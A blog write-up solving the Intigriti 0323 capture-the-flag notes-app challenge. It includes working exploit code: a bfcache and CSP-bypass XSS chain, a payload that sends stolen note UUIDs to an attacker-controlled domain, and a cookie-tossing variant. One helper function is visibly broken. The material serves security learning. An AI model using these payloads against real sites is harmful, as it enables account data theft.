Intigriti Challenge 0323 — Writeup

Antonio
9 min readApr 9, 2023

--

This Intigriti Challenge is about a vulnerable notes web application. The goal of this challenge is to steal the flag in a note created by the admin user.

screenshot of the notes web application

On the challenge description, we can find an URL for submitting the payloads, https://challenge-0323.intigriti.io/visit?url=https://your_cool_note_link, which will be checked by an admin immediately.

Reconnaissance and Analyzing the Source of the Web Application

With this web application it is possible to create notes on the /create endpoint. Each note consists of a title and the content of the note. The content of the notes can be written in HTML. The links to the notes created in the current session are listed on the /notes endpoint and the format of the note links is https://challenge-0323.intigriti.io/note/NOTE_UUID?id=NOTE_UUID. We also observe that when we open a note, the title is embedded inside the HTML page, but the the content of the note is loaded separately by the script in the /challenge/view.js file. We open that file and find some lines of code which seem to be interesting:

    id = params.get("id").trim().replace(/\s\r/,'');
fetch(`/note/${id}`, {
method: 'GET',
headers: {
'mode': 'read'
},
})

So, from the code we see that the content of the notes can also be loaded from the same endpoint as the title by adding an additional HTTP header “mode: read”. The script also seems to filter some chars from the “id” parameter. We also notice another line in which DOMPurify is used for sanitizing the content of the note, which is then set as the innerHTML value of a “div” HTML element. We check the version of the DOMPurify library and see that it is a recent one.

Since the web application is open source, we continue by analyzing the source code, which is available on https://github.com/0xGodson/notes-app-2.0.

First of all, we go through the commits, but we cannot find anything useful.

In the views folder we check that the titles are properly escaped. Then, we continue by reading the source in the app.js file. The first thing that stands out is that there is a hidden debug endpoint, which had been to be removed before moving to production. The debug endpoint is similar to the /note endpoint, the most important difference is that the debug endpoint does not contain the line res.setHeader(“content-type”, “text/plain”);. So, we could create a note containing for example an HTML page and open that note by using the debug endpoint and the correct UUID of the note. The browser would display it correctly since there is no “Content-Type” header and the browser would perform content sniffing. However, there is a problem, since we cannot set the “mode” HTTP header while navigating to a page using a link or “window.location”.

Furthermore, we see that the web application has a strict CSP and we also use CSP Evaluator for analyzing the CSP:

output from CSP Evaluator

The “script-src” directive can be useful for this web application, since we can create the notes and we can access the notes over the debug endpoint as explained above.

We also further analyze how the /visit endpoint works. The most important part is that it only accepts URLs starting with “http” and if this is the case, it calls the “visit” function which is defined in the bot.js file.

Therefore, we continue by analyzing the bot.js file. In the “visit” function a headless Chrome browser is started and then the browser is controlled for simulating an admin user who creates a note containing the flag. Then, some time is given so that the page can load and after that the URL provided by the user in the “url” parameter is visited. Then, after a few seconds the page and the browser are closed by the script.

Exploiting the Vulnerabilities

Now, we have to overcome the problem with the “mode” HTTP header. The first thing that came to mind to me was some kind of web cache poisoning. I checked the version of Node.js and the dependencies in the Dockerfile and package.json files and they seemed to be recent ones.

I tried to force the browser to load the cached version of pages, but it always requested them from the server since the “ETag” HTTP header differs when the “mode” HTTP header is not set, the server responds with HTTP 200 instead of HTTP 304.

The only way I could find to load a cached page with the “mode: read” HTTP header was by using the back/forward cache. It can be reproduced with the following steps:

  • Create a new note
  • Find the UUID of that note on the /notes endpoint and navigate to https://challenge-0323.intigriti.io/note/YOUR_NOTE_UUID and a page containing “404” in the title and the content of the note appears.
  • Open the page https://challenge-0323.intigriti.io/note/YOUR_NOTE_UUID?id=YOUR_NOTE_UUID.
  • Press the “back” button of your browser and the content of the note appears in plain text format since the cached version of the page which was retrieved using fetch and the “mode: read” HTTP header from the script in the /challenge/view.js file in the previous step is loaded.

The same can be done with the debug endpoint by using the URLs https://challenge-0323.intigriti.io/debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/YOUR_NOTE_UUID and https://challenge-0323.intigriti.io/note/YOUR_NOTE_UUID?id=../debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/YOUR_NOTE_UUID, respectively. Now, we need to find a way to force the browser to change the location of a page on https://challenge-0323.intigriti.io from our page we submit on the /visit endpoint.

While testing we can use a local web server and we can start the web application locally as described in the repository.

We can open a page on https://challenge-0323.intigriti.io with “window.open” from our submitted web page. We can still change the location of the page in the new tab with “window.location = URL“ from the opener, but we do not have access to the History API on pages https://challenge-0323.intigriti.io from our web page since they are cross-domain.

I saw that this is the second version of the notes web application, so I searched the official writeup and video of the first version. I found two interesting attacks that could be useful for this challenge in the writeup and the video: the SOME attack and Cookie Tossing.

Now, we proceed by using an attack which starts in a similar way like the SOME attack: First of all we create a note with an HTML content. Then, we create an HTML page with a script that opens a new tab with “openedWindow = window.open(‘https://challenge-0323.intigriti.io/debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/HTML_UUID’)”, where “HTML_UUID” is the UUID of the note with the HTML content. Then, the script uses “openedWindow.location” to navigate to https://challenge-0323.intigriti.io/note/HTML_UUID?id=../debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/HTML_UUID. After that, it uses “openedWindow.location.replace” to navigate to “window.origin”. Using the “replace” function substitutes the current entry of the browser’s history. So, there are only two entries in the browser’s history: https://challenge-0323.intigriti.io/debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/HTML_UUID and the page on our local web server. Since the opener and the new tab are now on the same domain, we can run any script on the new tab from the opener, for example “openedWindow.history.back()”, and we see that the HTML content of the note we created is rendered on the debug endpoint.

We need to achieve XSS on the notes web application, but the web application has a strict CSP. Inline scripts are not allowed and we can only execute scripts loaded from the same domain. So, we perform the same attack as before, but with an additional step: We create a note containing a script, then we open the https://challenge-0323.intigriti.io/debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/SCRIPT_UUID, where “SCRIPT_UUID” is the UUID of the note containing a script, then we use “openedWindow.location” to open the note containing the HTML file we use to load the script and we proceed as explained above.

Then, the HTML page shown on https://challenge-0323.intigriti.io/debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/HTML_UUID will load the script https://challenge-0323.intigriti.io/debug/52abd8b5–3add-4866–92fc-75d2b1ec1938/SCRIPT_UUID from the cache instead of loading it from the server.

The following code is used in a note with the HTML content:

<html>
<head>
<script src="/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/SCRIPT_UUID"></script>
</head>
<body>
</body>
</html>

We host the following file on our local web server as described above:

<html>
<head>
<script>

async function sleep(ms) {
return await new Promise(resolve => setTimeout(resolve, ms));
}

async function openWindow() {

const URL = "http://127.0.0.1";
const script_uuid = "SCRIPT_UUID";
const html_uuid = "HTML_UUID";
let openedWindow = window.open(`${URL}/note/${script_uuid}?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/${script_uuid}`);
await sleep(1000);
openedWindow.location = `${URL}/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/${html_uuid}`;
await sleep(1000);
openedWindow.location = `${URL}/note/${html_uuid}?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/${html_uuid}`;
await sleep(1000);
openedWindow.location.replace(window.location.origin);
await sleep(1000);
openedWindow.history.back();
}

</script>
</head>
<body onload="openWindow()">
</body>
</html>

Now, we can execute a script on behalf of another user of the notes web application who opens our page and we only need to find a way how to get the flag. We can achieve it by using using “fetch” to read from the /notes endpoint and obtaining the UUID of the notes. Then, we can send the UUID to our webserver by using “window.location = “ATTACKER_WEBSERVER_DOMAIN/?”+btoa(JSON.stringify(noteLinks));” and we can open the note containing the flag with the obtained UUID locally. Or, we can also use the cookie from a local session we can obtain from the developer tools and then we use an attack similar to Cookie Tossing with that session cookie for creating a note containing the UUID of the note containing a flag on behalf of the admin user’s browser. The script gets executed on the same subdomain from the /create endpoint, so we do not need the first part of the Cookie Tossing attack. However, we need to set the path attribute as described in the writeup and video linked above. Then, after the script gets executed in the admin user’s browser, we can see the new note listed in the /notes endpoint from our local session.


async function createNote(noteBody) {
return fetch('/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
title: "flag url",
note: noteBody
})
})
}

async function getNoteLinks() {
const CHALLENGE_URL = window.origin;
let response = await fetch (`${CHALLENGE_URL}/notes`);
let text = await response.text();
let noteLinks = text.match('"/note/.*"');
// uncomment and substitute "COOKIE" with your local session cookie
// for setting that cookie on the /create path like in Cookie Tossing and
// creating a new note containing the UUIDs of the notes
// document.cookie = "connect.sid=COOKIE; path=/create";
// await createNote(JSON.stringify(noteLinks));
window.location = "ATTACKER_WEBSERVER_DOMAIN/?"+btoa(JSON.stringify(noteLinks));
}
getNoteLinks();

The following script can be used for setting up the two notes correctly for both methods, for retrieving the UUIDs, using “window.location” and the attack similar to Cookie Tossing, and for printing the file we need to host on a web server by inserting it in the developer tools console when the notes web application is open:


const scriptNote = `

async function createNote(noteBody) {
return fetch('/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
title: "flag url",
note: noteBody
})
})
}

async function getNoteLinks() {
const CHALLENGE_URL = window.origin;
let response = await fetch (\`\${CHALLENGE_URL}/notes\`);
let text = await response.text();
let noteLinks = text.match('"/note/.*"');
document.cookie = "connect.sid=\${SESSION_COOKIE}; path=/create";
await createNote(JSON.stringify(noteLinks));
window.location = "\${ATTACKER_WEBSERVER_DOMAIN}/?"+btoa(JSON.stringify(noteLinks));
}
getNoteLinks();

`;

const htmlNote = `
<html>
<head>
<script src="/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/\${SCRIPT_UUID}"></script>
</head>
<body>
</body>
</html>
`;

const webpage = `
<html>
<head>
<script>

async function sleep(ms) {
return await new Promise(resolve => setTimeout(resolve, ms));
}

async function openWindow() {

let openedWindow = window.open("\${URL}/note/\${SCRIPT_UUID}?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/\${SCRIPT_UUID}");
await sleep(1000);
openedWindow.location = "\${URL}/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/\${HTML_UUID}";
await sleep(1000);
openedWindow.location = "\${URL}/note/\${HTML_UUID}?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/\${HTML_UUID}";
await sleep(1000);
openedWindow.location.replace(window.location.origin+"/example");
await sleep(1000);
openedWindow.history.back();
}

</script>
</head>
<body onload="openWindow()">
</body>
</html>
`

function getScriptNote(session_cookie, attacker_webserver_domain) {

return scriptNote.replace('${SESSION_COOKIE}', session_cookie)
.replace('${ATTACKER_WEBSERVER_DOMAIN}', attacker_webserver_domain);

}

function getHtmlNote(script_uuid) {

return htmlNote.replace('${SCRIPT_UUID}', script_uuid);

}

function getWebpage(script_uuid, html_uuid) {

return webpage.replaceAll('${URL}', 'http://127.0.0.1')
.replaceAll('${SCRIPT_UUID}', script_uuid)
.replaceAll('${HTML_UUID}', html_uuid);

}

async function createNote(title, noteBody) {
await fetch('/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
title: title,
note: noteBody
})
})
let response = await fetch('/notes');
let text = await response.text();
let matches = text.match(/"\/note\/[^\?]*/g);
return matches[matches.length-1].substring('"/note/'.length);
}

async function getNote(title, noteBody) {
constfetch(`/note/${id}`, {
method: 'GET',
headers: {
'mode': 'read'
},
})
}

/*
* Prints the UUIDs of the "script" and "html" notes and also
* the content of the webpage that needs to be hosted to the console.
*/
async function createNotesAndWebPage(sessionCookie, attackerWebserverDomain) {

let script_uuid = await createNote("script", getScriptNote(sessionCookie, attackerWebserverDomain));
console.log("script_uuid "+script_uuid);
let html_uuid = await createNote("html", getHtmlNote(script_uuid));
console.log("html_uuid "+html_uuid);
console.log("webpage for the \"/visit\" endpoint:");
console.log(getWebpage(script_uuid, html_uuid));

}

// substitute the arguments of the following function call
createNotesAndWebPage("ATTACKER_SESSION_COOKIE", "ATTACKER_WEBSERVER_DOMAIN");

In the script above “ATTACKER_SESSION_COOKIE” and “ATTACKER_WEBSERVER_DOMAIN” in the arguments of the call to the “createNotesAndWebPage” function need to be substituted with a session cookie retrieved from the developer tools and the URL from the attacker’s webserver in the format “http://example.com”, respectively.

Then, we need to host an HTML page with the content printed by the script above on the web which can then be accessed on the URL with the format “ATTACKER_WEBSERVER_DOMAIN/PATH“. For the “window.location = ATTACKER_WEBSERVER_DOMAIN/?base64EncodedString” method we also need access to the log files of the web server, for the attack similar to Cookie Tossing it is not required. We then navigate to https://challenge-0323.intigriti.io/visit?url=ATTACKER_WEBSERVER_DOMAIN/PATH. We get the UUID of the note containing the flag from the base64 encoded string in the log files or in the new note we can find on the /notes endpoint, respectively. Then, we navigate to https://challenge-0323.intigriti.io/note/FLAG_UUID?id=FLAG_UUID and obtain the flag.

Unlisted

--

--